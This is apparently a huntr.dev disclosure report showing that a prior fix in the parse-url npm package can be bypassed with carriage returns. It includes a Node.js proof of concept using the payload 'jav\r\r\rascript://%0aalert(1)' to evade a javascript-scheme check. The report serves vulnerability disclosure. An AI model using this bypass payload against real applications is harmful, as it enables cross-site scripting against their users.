Lucene search

K
huntrAmammad024912D3-F103-4DAF-A1D0-567F4D9F2BF5
HistoryJun 07, 2022 - 8:29 a.m.

Bypass of last fix

2022-06-0708:29:22
amammad
www.huntr.dev
10

0.001 Low

EPSS

Percentile

30.2%

Description

last fix can be bypass because in this line we should consider the case \r\r or even \r too.

Proof of Concept

const http = require("http");
const parseUrl = require("parse-url");
const url =  parseUrl('jav\r\r\rascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});

0.001 Low

EPSS

Percentile

30.2%

Related for 024912D3-F103-4DAF-A1D0-567F4D9F2BF5